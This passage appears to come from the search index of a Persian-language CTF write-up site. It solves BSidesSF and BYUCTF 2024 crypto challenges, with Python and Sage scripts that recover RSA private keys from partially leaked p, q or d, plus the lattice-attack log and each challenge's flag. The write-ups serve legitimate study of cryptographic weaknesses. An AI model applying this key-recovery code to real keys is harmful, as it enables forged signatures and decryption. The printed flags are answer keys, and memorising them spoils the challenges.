146175675091507456737522798829014782811865451051857842412175674804900309324739374468470976895700263032713808718431551484030630157258985979150141144011800212233928309647511279576187170951230583778519784908700581474500862022004789022487123778222560461579933747277144333069595042839003536837263302708609396365399\n\n!PRIVATE KEYS ARE PUBLIC KEYS!\n
\u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 sendtruth
truthescrow> sendtruth\n\nEnter citizen (by number) to send truth? 2\n\nTruth for citizen 2? salam\nTruth sent!\n

\u062e\u0628 \u0628\u0631\u0627\u0633\u0627\u0633 \u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0628\u0627\u0644\u0627 \u0628\u0627\u06cc\u062f \u062a\u0648 \u067e\u0627\u0631\u062a \u0627\u0648\u0644 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 truth \u0641\u0631\u062f Nicholas \u0628\u062e\u0648\u0646\u06cc\u0645. \u0628\u0631\u0627\u06cc \u062e\u0648\u0646\u062f\u0646 truth \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u0645 \u062a\u0627 \u06a9\u0644\u06cc\u062f\u062e\u0635\u0648\u0635\u06cc \u0647\u0631 \u0641\u0631\u062f \u0631\u0648 \u0628\u0631\u0627\u0633\u0627\u0633 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0632 \u062e\u0631\u0648\u062c\u06cc \u062f\u0633\u062a\u0648\u0631 listkeys \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645 \u0648 \u0633\u067e\u0633 signature \u0639\u062f\u062f \u0631\u0646\u062f\u0648\u0645 k \u0631\u0648 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0641\u0631\u0645\u0648\u0644 \u0632\u06cc\u0631 \u0628\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631 readtruth \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u0647 \u0641\u0644\u06af \u0628\u0631\u0633\u06cc\u0645

signature \\equiv k^d \\pmod{n}

\u0628\u0631\u0627\u0633\u0627\u0633 \u062e\u0631\u0648\u062c\u06cc help types \u0648 listkeys \u062f\u0631 \u067e\u0627\u0631\u062a \u0627\u0648\u0644 \u0633\u0648\u0627\u0644\u060c \u0628\u0647 \u0645\u0627 n \u0648 e \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u0648\u0644\u06cc \u0646\u0635\u0641 \u0628\u06cc\u062a \u0647\u0627\u06cc \u067e\u0627\u06cc\u06cc\u0646(\u06a9\u0645 \u0627\u0631\u0632\u0634) p \u0648 \u0646\u0635\u0641 \u0628\u06cc\u062a \u0647\u0627\u06cc \u0628\u0627\u0644\u0627(\u067e\u0631\u0627\u0631\u0632\u0634) q \u0633\u0627\u0646\u0633\u0648\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a.

","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half p and q"]},{"location":"crypto/writeups/BSidesSF/truthescrow1/#_2","title":"\u0631\u0627\u0647 \u062d\u0644","text":"

\u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u0628\u0627\u0632\u06cc \u0628\u0627 \u062f\u0633\u062a\u0648\u0631\u0627\u062a genkey \u0648 listkeys \u067e\u06cc \u0645\u06cc\u0628\u0631\u06cc\u0645 \u06a9\u0647 p \u0648 q \u0645\u0627 1024 \u0628\u06cc\u062a\u06cc \u0628\u0648\u062f\u0647 \u0648 \u062f\u0631 \u062a\u0633\u06a9 \u0627\u0648\u0644 512 \u0628\u06cc\u062a \u06a9\u0645 \u0627\u0631\u0632\u0634 p \u0648 512 \u0628\u06cc\u062a \u067e\u0631\u0627\u0631\u0632\u0634 q \u0633\u0627\u0646\u0633\u0648\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a \u0648 \u0628\u0627\u06cc\u062f \u0628\u062f\u0633\u062a\u0634\u0648\u0646 \u0628\u06cc\u0627\u0648\u0631\u06cc\u0645

\u0646\u06a9\u062a\u0647

\u0645\u06cc\u062f\u0627\u0646\u06cc\u0645

n = p \\times q

\u0627\u0632 \u0637\u0631\u0641\u06cc \u0631\u0627\u0628\u0637\u0647 \u0632\u06cc\u0631 \u0635\u0627\u062f\u0642 \u0627\u0633\u062a

n \\bmod k = \\left( (p \\bmod k) \\times (q \\bmod k) \\right) \\bmod k

\u0628\u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644 \u0632\u0645\u0627\u0646\u06cc\u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 k \u0628\u0631\u0627\u0628\u0631 2^{512} \u0628\u0627\u0634\u062f \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u0634\u062a :

n \\bmod 2^{512} = \\left( (p \\bmod 2^{512}) \\times (q \\bmod 2^{512}) \\right) \\bmod 2^{512}

\u062d\u0627\u0644 \u0627\u06af\u0631 512 \u0628\u06cc\u062a \u06a9\u0645 \u0627\u0631\u0632\u0634 p \u0631\u0627 p_low \u0648 512 \u0628\u06cc\u062a \u06a9\u0645 \u0627\u0631\u0632\u0634 q \u0631\u0627 q_low \u0628\u0646\u0627\u0645\u06cc\u0645 \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u0634\u062a

n \\bmod 2^{512} = \\left( p\\_low \\times q\\_low \\right) \\bmod 2^{512}

\u0648 \u0628\u0647 \u0639\u0628\u0627\u0631\u062a\u06cc \u062e\u0648\u0627\u0647\u06cc\u0645 \u062f\u0627\u0634\u062a

p\\_low = \\left( (n \\bmod 2^{512}) \\times (q\\_low^{-1}) \\right) \\bmod 2^{512}

\u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0631\u0627\u0628\u0637\u0647 \u0628\u0627\u0644\u0627 \u0628\u0633\u0627\u062f\u06af\u06cc \u0645\u06cc\u062a\u0648\u0627\u0646\u06cc\u0645 512 \u0628\u06cc\u062a \u06a9\u0645 \u0627\u0631\u0632\u0634 p \u0631\u0627 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0648\u0631\u06cc\u0645 \u0648 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0645\u0642\u062f\u0627\u0631 \u06a9\u0627\u0645\u0644 p \u0645\u062d\u0627\u0633\u0628\u0647 \u0645\u06cc\u0634\u0648\u062f \u0648 \u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0645\u06cc\u062a\u0648\u0627\u0646 \u06a9\u0644\u06cc\u062f \u062e\u0635\u0648\u0635\u06cc Nicholas \u0631\u0627 \u0628\u062f\u0633\u062a \u0627\u0648\u0631\u062f \u0648 signature \u062e\u0648\u0627\u0633\u062a\u0647 \u0634\u062f\u0647 \u0645\u0633\u0627\u0644\u0647 \u0631\u0627 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0631\u062f \u0648 \u0628\u0647 \u0641\u0644\u06af \u0631\u0633\u06cc\u062f

n = 0xbd94491c739fbbf037263e855f4773051c5624294461786822dbb724282426232a8c66f01901b402b7d9193463145acd3e8b891637c99b6997ad15979364ea3268f4a3bf97be351b7b7f24c2f3da4f65c23f1d6aa61ef1d85d84006a2b96a50e3bc7addb816c66c7f12d11c56d35a99e6a6c60fcbdc8d90ec8ea3c1339d2d50cd1db8264dbf806661f430373c876431d8fa0344de2f075179cdde3f718249de992a1de8701a5e9253eb55334cdaaf27c5b894e60ccdc0b0d595f92e79882f42d25be63737fdfcbd428ba09db56099324d12127185c31859c5697d4ea0c256e841b7db55e9c217e72c5415fa6074032328c919b29d0be8b0e7a7249915585c86d\ne = 0x10001\np_high = 0xd192d28df547f3587e841b9177b323ea93fc043a28a297e189a50b9cc10785cf3bc53c26d8a31391f5aaf9ef3c8eb9b2e31dd5bf4355b1a724a8c9705264cd65\nq_low = 0x76008af358febf9d20fc174333a006fdd5de7edd7f9c715861dec66945baec90a98bda4bc5685dbd7b5a09a7d7564921b379615cea51f54023bae030f862f025\n\nknown = 512\np_low = (pow(q_low, -1, 2**known)*n)%2**known\np = p_high<<known|p_low\nassert n % p == 0\nq = n//p\nd = pow(e, -1, (p-1)*(q-1))\n\nk = 101047600963885791387700255279083702888\nsignature = pow(k, d, n)\nprint(f'{signature}')\n
FLAG

CTF{we_are_the_oprah_of_private_key_bits}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half p and q"]},{"location":"crypto/writeups/BSidesSF/truthescrow2/","title":"\u0686\u0627\u0644\u0634 truthescrow-2","text":"","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half d"]},{"location":"crypto/writeups/BSidesSF/truthescrow2/#_1","title":"\u0622\u0634\u0646\u0627\u06cc\u06cc \u0627\u0648\u0644\u06cc\u0647 \u0628\u0627 \u062e\u0648\u0627\u0633\u062a\u0647 \u0645\u0633\u0627\u0644\u0647","text":"

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0686\u0627\u0644\u0634 \u0642\u0628\u0644\u06cc\u060c \u0627\u06cc\u0646\u0628\u0627\u0631 \u0628\u0627\u06cc\u062f truth \u0641\u0631\u062f Nadia \u0631\u0627 \u0628\u062e\u0648\u0646\u06cc\u0645. \u0628\u0631\u0627\u0633\u0627\u0633 \u062e\u0631\u0648\u062c\u06cc help types \u0648 listkeys \u062f\u0631 \u067e\u0627\u0631\u062a \u062f\u0648\u0645 \u0633\u0648\u0627\u0644\u060c \u0628\u0647 \u0645\u0627 n \u0648 e \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u0646\u0635\u0641 \u0628\u06cc\u062a \u0647\u0627\u06cc \u06a9\u0645 \u0627\u0631\u0632\u0634 d \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a \u0648 \u0628\u0627\u06cc\u062f \u0628\u062a\u0648\u0627\u0646\u06cc\u0645 d \u06a9\u0627\u0645\u0644 \u0631\u0627 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0648\u0631\u06cc\u0645.

","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half d"]},{"location":"crypto/writeups/BSidesSF/truthescrow2/#_2","title":"\u0631\u0627\u0647 \u062d\u0644","text":"

\u0628\u0627 \u0627\u0646\u062f\u06a9\u06cc \u0633\u0631\u0686 \u0628\u0647 \u0627\u06cc\u0646 \u0631\u06cc\u067e\u0648 \u06af\u06cc\u062a \u0647\u0627\u0628 \u0631\u0633\u06cc\u062f\u0645 \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u0628\u0632\u0627\u0631 \u0627\u0628\u062a\u062f\u0627 \u0641\u0627\u06cc\u0644 \u0628\u0647 \u0622\u062f\u0631\u0633 \u0632\u06cc\u0631 \u0631\u0627 \u0628\u0627\u0632 \u06a9\u0646\u06cc\u062f

attacks/rsa/partial_key_exposure.py\n
\u0633\u067e\u0633 \u06a9\u062f \u0632\u06cc\u0631 \u0631\u0627 \u0628\u0647 \u0627\u0646\u062a\u0647\u0627 \u0641\u0627\u06cc\u0644 \u0628\u0627\u0644\u0627 \u0627\u0636\u0627\u0641\u0647 \u06a9\u0646\u06cc\u062f
logging.basicConfig(level=logging.DEBUG)\n\nN = 0xc17c59923900220c886dca8a49e4bc95e803b2be15cf452c25589c529bc5a03076337bfdda082c8f0ac634e8d3a3cb0a18e50002e9764c12306cd304c831a3e918042bfee0edbca556ecc19a506bb0580154166bcb6fbd537a62a9d6d69a7984d777baeb2066afac90bbeaa9b342adb8cd8b9eefa89574c23dd5f1f56dfc373726ce356067085c4a5a1567af6d3dd9f7a5a8f2f73d39f95453cbfdf25de50b6267f338c2edd1b0401ece05426701cc858f0f9b90e7628b5c505130c9f5c19c833d26e1c51f3f24c3cff0f915401f906ef1db3415e68622fe994ca6af85d27d210bb2069ad2ba38e994e3a2b63027da746cf87624a80661b5b7bf5a3a20a68125\ne = 65537\npartial_d = 0x6ebbc2bf14ca4042c502666e8ed67d391aaf8ba94e5c77f0328fe74705b377c5163bb9d70c90ead25ad926c6d07e672edc649e838aac35e0e745870e09fc3ee3e68844e58cf44bfafa3343a1110aaf9799c1d7edae6c53c3bf5134407c594d853698b944e96f66ace28939c46369ee6633f029f764ac1503d9788888cd7e0b41f975d801\n\n\np_, q_, d_ = attack(N, e, PartialInteger.lsb_of(partial_d, 1060, 1056), m=4, t=4)\nprint(f'{p_ = }')\nprint(f'{q_ = }')\nprint(f'{d_ = }')\n
\u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0631\u0627 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645
sage -python attacks/rsa/partial_key_exposure.py\n

\u0648 \u0627\u0632 \u062e\u0631\u0648\u062c\u06cc \u0645\u06cc\u062a\u0648\u0627\u0646 d \u0631\u0627 \u0628\u062f\u0633\u062a \u0627\u0648\u0631\u062f \u0648 \u0645\u0633\u0627\u0644\u0647 \u0631\u0627 \u062d\u0644 \u06a9\u0631\u062f

INFO:root:Using Blomer-May (Section 6)...\nINFO:root:Trying m = 4, t = 4...\nDEBUG:root:Generating shifts...\nDEBUG:root:Creating a lattice with 35 shifts (order = 'invlex', sort_shifts_reverse = False, sort_monomials_reverse = False)...\nDEBUG:root:Reducing a 35 x 35 lattice...\nDEBUG:root:Reconstructing polynomials (divide_original = True, modulus_bound = True, divide_gcd = True)...\nDEBUG:root:Reconstructed polynomial has gcd 4 with polynomial at 4, dividing...\nDEBUG:root:Reconstructed polynomial has gcd 4 with polynomial at 4, dividing...\nDEBUG:root:Reconstructed polynomial has gcd 8 with polynomial at 8, dividing...\nDEBUG:root:Reconstructed polynomial has gcd 16 with polynomial at 0, dividing...\nDEBUG:root:Reconstructed polynomial has gcd 2 with polynomial at 1, dividing...\nDEBUG:root:Row 14 is too large, ignoring...\nDEBUG:root:Row 15 is too large, ignoring...\nDEBUG:root:Row 16 is too large, ignoring...\nDEBUG:root:Row 17 is too large, ignoring...\nDEBUG:root:Row 18 is too large, ignoring...\nDEBUG:root:Row 19 is too large, ignoring...\nDEBUG:root:Row 20 is too large, ignoring...\nDEBUG:root:Row 21 is too large, ignoring...\nDEBUG:root:Row 22 is too large, ignoring...\nDEBUG:root:Row 23 is too large, ignoring...\nDEBUG:root:Row 24 is too large, ignoring...\nDEBUG:root:Row 25 is too large, ignoring...\nDEBUG:root:Row 26 is too large, ignoring...\nDEBUG:root:Row 27 is too large, ignoring...\nDEBUG:root:Row 28 is too large, ignoring...\nDEBUG:root:Row 29 is too large, ignoring...\nDEBUG:root:Row 30 is too large, ignoring...\nDEBUG:root:Row 31 is too large, ignoring...\nDEBUG:root:Row 32 is too large, ignoring...\nDEBUG:root:Row 33 is too large, ignoring...\nDEBUG:root:Row 34 is too large, ignoring...\nDEBUG:root:Reconstructed 14 polynomials\nDEBUG:root:Computing pairwise gcds to find trivial roots...\nDEBUG:root:Using Groebner basis method to find roots...\nDEBUG:root:Sequence length: 14, Groebner basis length: 2\nDEBUG:root:Found Groebner basis with length 2, trying to find roots...\np_ = 135910664629928214982882802610812446223246942959119370715736186055734275683591232700237383770019000628786324922720286581455880901684249073202371978652383340260722984522202935328798589197300372600240925502733900876553287019527495229592943493322053755848030380760246614012062400218594889494929908613811634043557\nq_ = 179715934285566366979761174730521685494085840836841514810594725362065959057689486042102979782441969862729151818439593494992034948393051332904613055534437043486894053801587425382559373679124097689993197938679159734722173952736332370889269689473463709996937739163800728716211361515169500844964535234606065001601\nd_ = 23964288361013640476094822164847162632875998342130294892366450689547010575893047965414578820035905154669339806925765459916031658314480084559148571717004939501582718670344208391351899159630294958475472016763076636356405365292267018333906036640906157978048159310091800041776026331453168320232771068604558034921235209490659541126328683833363895246483320539934934853435235071839002168598584116057968941320338064169286071451736499832016207523779221343422851261744824345624761173336307556639698314443936432242816865234219421958556439970565806590965132224299652404650193202242039016916497317418038387032178147582396775913473\n
FLAG

CTF{half_a_d_is_too_much_d}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["BSidesSF","BSidesSF 2024","Crypto","RSA","half d"]},{"location":"crypto/writeups/BYUCTF/AreSA/","title":"\u0686\u0627\u0644\u0634 AreSA","text":"","tags":["BYUCTF","BYUCTF-2024","Crypto","RSA"]},{"location":"crypto/writeups/BYUCTF/AreSA/#_1","title":"\u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644","text":"

\u0641\u0627\u06cc\u0644\u06cc \u06a9\u0647 \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0646 \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0646\u0627\u0645 \u0645\u062a\u063a\u06cc\u0631\u0647\u0627 \u067e\u06cc \u0645\u06cc\u0628\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u0632 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc RSA \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a.

\u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0646 \u06a9\u0647 \u0645\u062d\u062a\u0648\u0627\u0634 \u0627\u06cc\u0646\u0647: cne.txt

n =  128393532851463575343089974408848099857979358442919384244000744053339479654557691794114605827105884545240515605112453686433508264824840575897640756564360373615937755743038201363814617682765101064651503434978938431452409293245855062934837618374997956788830791719002612108253528457601645424542240025303582528541\ne =  65537\nc =  93825584976187667358623690800406736193433562907249950376378278056949067505651948206582798483662803340120930066298960547657544217987827103350739742039606274017391266985269135268995550801742990600381727708443998391878164259416326775952210229572031793998878110937636005712923166229535455282012242471666332812788\n

","tags":["BYUCTF","BYUCTF-2024","Crypto","RSA"]},{"location":"crypto/writeups/BYUCTF/AreSA/#_2","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u062e\u0628 \u062e\u06cc\u0644\u06cc \u0633\u0631\u06cc\u0639 \u0645\u06cc\u0631\u06cc\u0645 \u0648 n \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u06cc\u06a9 \u0639\u062f\u062f \u0627\u0648\u0644 \u0647\u0633\u062a. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 Phi \u0631\u0627 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0631\u062f\u0647 \u0648 \u0628\u0642\u06cc\u0647 \u0645\u0631\u0627\u062d\u0644 \u0628\u0633\u06cc\u0627\u0631 \u0648\u0627\u0636\u062d \u0647\u0633\u062a.

solve.py
from Crypto.Util.number import *\n\nn =  128393532851463575343089974408848099857979358442919384244000744053339479654557691794114605827105884545240515605112453686433508264824840575897640756564360373615937755743038201363814617682765101064651503434978938431452409293245855062934837618374997956788830791719002612108253528457601645424542240025303582528541\ne =  65537\nc =  93825584976187667358623690800406736193433562907249950376378278056949067505651948206582798483662803340120930066298960547657544217987827103350739742039606274017391266985269135268995550801742990600381727708443998391878164259416326775952210229572031793998878110937636005712923166229535455282012242471666332812788\n\n\nphi = n-1\nd=inverse(e, phi)\nlong_to_bytes(pow(c, d, n))\n
FLAG

byuctf{d1d_s0m3_rs4_stuff...m1ght_d3l3t3_l4t3r}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

MohamadAli

","tags":["BYUCTF","BYUCTF-2024","Crypto","RSA"]},{"location":"crypto/writeups/BYUCTF/Austen-Supremacy/","title":"\u0686\u0627\u0644\u0634 Austen Supremacy","text":"","tags":["BYUCTF","BYUCTF-2024","Crypto","Encoding"]},{"location":"crypto/writeups/BYUCTF/Austen-Supremacy/#_1","title":"\u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644","text":"

\u0644\u06cc\u062f\u06cc\u0627 \u062c\u06cc\u0646 \u0622\u0633\u062a\u0646 \u0631\u0627 \u062f\u0648\u0633\u062a \u062f\u0627\u0631\u062f. \u062f\u0631 \u0648\u0627\u0642\u0639 \u06a9\u062a\u0627\u0628 \u0645\u0648\u0631\u062f \u0639\u0644\u0627\u0642\u0647 \u0627\u0648 Pride and Prejudice \u0627\u0633\u062a. \u0627\u0648 \u0648 \u062f\u0648\u0633\u062a\u0627\u0646\u0634 \u062f\u0648\u0633\u062a \u062f\u0627\u0631\u0646\u062f \u062f\u0631\u0628\u0627\u0631\u0647 \u06a9\u062a\u0627\u0628 \u0628\u0627 \u0647\u0645 \u0635\u062d\u0628\u062a \u06a9\u0646\u0646\u062f\u060c \u0627\u0645\u0627 \u0627\u062e\u06cc\u0631\u0627 \u0644\u06cc\u062f\u06cc\u0627 \u0634\u0631\u0648\u0639 \u0628\u0647 \u0631\u0645\u0632\u06af\u0630\u0627\u0631\u06cc \u067e\u06cc\u0627\u0645 \u0647\u0627\u06cc \u062e\u0648\u062f \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0645\u062a\u0623\u0633\u0641\u0627\u0646\u0647 \u062f\u0648\u0633\u062a\u0627\u0646 \u0644\u06cc\u062f\u06cc\u0627 \u06a9\u062f \u0645\u062e\u0641\u06cc \u0627\u0648 \u0631\u0627 \u062f\u0631\u06a9 \u0646\u0645\u06cc \u06a9\u0646\u0646\u062f --\u00a0 \u0645\u06cc \u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0622\u0646\u0647\u0627 \u06a9\u0645\u06a9 \u06a9\u0646\u06cc\u062f \u0648 \u067e\u06cc\u0627\u0645 \u0645\u062e\u0641\u06cc \u0631\u0627 \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u062f\u061f

1.1.1 8.9.8 10.2.11 4.14.28 61.2.4 47.10.3 23.7.37 41.12.4 17.6.10 1.1.21\n
","tags":["BYUCTF","BYUCTF-2024","Crypto","Encoding"]},{"location":"crypto/writeups/BYUCTF/Austen-Supremacy/#_2","title":"\u062d\u0644","text":"

\u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0641\u0631\u0645\u062a \u067e\u06cc\u0627\u0645\u06cc \u06a9\u0647 \u0644\u06cc\u062f\u0627 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0631\u062f\u0647 \u062d\u062f\u0633 \u0632\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u0645\u06a9\u0646\u0647 \u0631\u0628\u0637\u06cc \u0628\u0647 \u0627\u06cc\u0646 \u06a9\u062a\u0627\u0628 \u06a9\u0631\u062f\u0647 \u0628\u0627\u0634\u0647 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0631\u0641\u062a\u06cc\u0645 \u0648 \u06a9\u062a\u0627\u0628 \u0631\u0648 \u062f\u0627\u0646\u0644\u0648\u062f \u06a9\u0631\u062f\u06cc\u0645 \u0648 \u062d\u0633 \u0632\u062f\u06cc\u0645 \u06a9\u0647 \u0627\u0644\u06af\u0648\u06cc \u067e\u06cc\u0627\u0645\u06cc \u06a9\u0647 \u0644\u06cc\u062f\u0627 \u0627\u0631\u0633\u0627\u0644 \u06a9\u0631\u062f\u0647 \u0628\u0647 \u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u0627\u0633\u062a:

Chapter.Paragraph.Character\n
\u062e\u0648\u0634\u0628\u062e\u062a\u0627\u0646\u0647 \u062d\u062f\u0633\u0645\u0648\u0646 \u062f\u0631\u0633\u062a \u0628\u0648\u062f \u0648 \u0641\u0644\u06af \u0631\u0648 \u0628\u062f\u0633\u062a \u0627\u0648\u0631\u062f\u06cc\u0645.

FLAG

byuctf{ilovedarcy}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

MohamadAli, HIGHer

","tags":["BYUCTF","BYUCTF-2024","Crypto","Encoding"]},{"location":"crypto/writeups/BYUCTF/Times/","title":"\u0686\u0627\u0644\u0634 Times","text":"","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/BYUCTF/Times/#_1","title":"\u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644","text":"

\u0645\u06cc\u06af\u0647 \u0627\u06cc\u0646 \u0641\u0642\u0637 \u06cc\u06a9 \u0636\u0631\u0628 \u0627\u0633\u062a....\u062f\u0631\u0633\u062a\u0647\u061f

\u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0648 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0631\u0648 \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0646

","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/BYUCTF/Times/#timestxt","title":"times.txt","text":"
Curve:  y^2 = x**3 + 13x + 245 % 335135809459196851603485825030548860907\nPoint:  (14592775108451646097, 237729200841118959448447480561827799984)\n{'ciphertext': b'SllGMo5gxalFG9g8j4KO0cIbXeub0CM2VAWzXo3nbIxMqy1Hl4f+dGwhM9sm793NikYA0EjxvFyRMcU2tKj54Q==', 'iv': b'MWkMvRmhFy2vAO9Be9Depw=='}\n
","tags":["BYUCTF","BYUCTF-2024","Crypto","Eliptic Curve"]},{"location":"crypto/writeups/BYUCTF/Times/#_2","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u0648\u0642\u062a\u06cc \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0631\u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0645\u0646\u062d\u0646\u06cc \u0648 \u0641\u0631\u0645\u062a\u06cc \u06a9\u0647 \u062f\u0627\u0631\u0647 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u0634\u06cc\u0645 \u06a9\u0647 \u0628\u0627 Elliptic-Curve \u0637\u0631\u0641 \u0647\u0633\u062a\u06cc\u0645. \u062f\u0631 \u0648\u0627\u0642\u0639 \u0627\u06cc\u0646 \u0645\u0646\u062d\u0646\u06cc \u0628\u06cc\u0636\u0648\u06cc \u062f\u0631 \u06cc\u06a9 \u0645\u06cc\u062f\u0627\u0646 \u0645\u062d\u062f\u0648\u062f \u0627\u0632 \u0646\u0642\u0627\u0637\u06cc \u062a\u0634\u06a9\u06cc\u0644 \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0628\u0647 \u0645\u0639\u0627\u062f\u0644\u0647 \u0628\u0647 \u0641\u0631\u0645\u062a \u0632\u06cc\u0631 \u0631\u0627 \u0628\u0631\u0622\u0648\u0631\u062f\u0647 \u06a9\u0646\u0647:

y^2 =x^3 + ax + b

\u0648 \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u0633\u0648\u0627\u0644 \u062d\u062f\u0633 \u0645\u06cc\u0632\u0646\u06cc\u0645 \u06a9\u0647 \u0647\u062f\u0641 scalar multiplication \u0647\u0633\u062a.

import hashlib\nfrom Crypto.Cipher import AES \nfrom Crypto.Util.Padding import pad, unpad\nfrom ellipticcurve import * # I'll use my own library for this\nfrom base64 import b64encode\nimport os\nfrom Crypto.Util.number import getPrime\n\ndef encrypt_flag(shared_secret: int, plaintext: str):\n    iv = os.urandom(AES.block_size)\n\n    #get AES key from shared secret\n    sha1 = hashlib.sha1()\n    sha1.update(str(shared_secret).encode('ascii'))\n    key = sha1.digest()[:16]\n\n    #encrypt flag\n    plaintext = pad(plaintext.encode('ascii'), AES.block_size)\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    ciphertext = cipher.encrypt(plaintext)\n\n    return { \"ciphertext\" : b64encode(ciphertext), \"iv\" : b64encode(iv) }\n\ndef main():\n    the_curve = EllipticCurve(13, 245, getPrime(128))\n    start_point = None\n    while start_point is None:\n        x = getPrime(64)\n        start_point = the_curve.point(x)\n    print(\"Curve: \", the_curve)\n    print(\"Point: \", start_point)\n    new_point = start_point * 1337\n\n    flag = \"byuctf{REDACTED}\"\n    print(encrypt_flag(new_point.x, flag))\n\nif __name__ == \"__main__\":\n    main()\n

\u062e\u0628 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0645\u06cc\u0646\u062f\u0627\u0632\u06cc\u0645 \u0648 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u0639\u0644\u0647 \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062d\u062f\u0633 \u0645\u06cc\u0632\u062f\u06cc\u0645 \u0647\u062f\u0641 \u0645\u062d\u0627\u0633\u0628\u0647 scalar multiplication \u0628\u0627 n=1337 \u0648 \u0628\u0639\u062f\u0634 \u0645\u062e\u062a\u0635\u0627\u062a x \u062d\u0627\u0635\u0644 \u0627\u0632 \u062e\u0631\u0648\u062c\u06cc scalar multiplication \u0631\u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 shared secret \u0648 \u0641\u0644\u06af \u0631\u0648 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 plaintext \u0628\u0647 \u062a\u0627\u0628\u0639 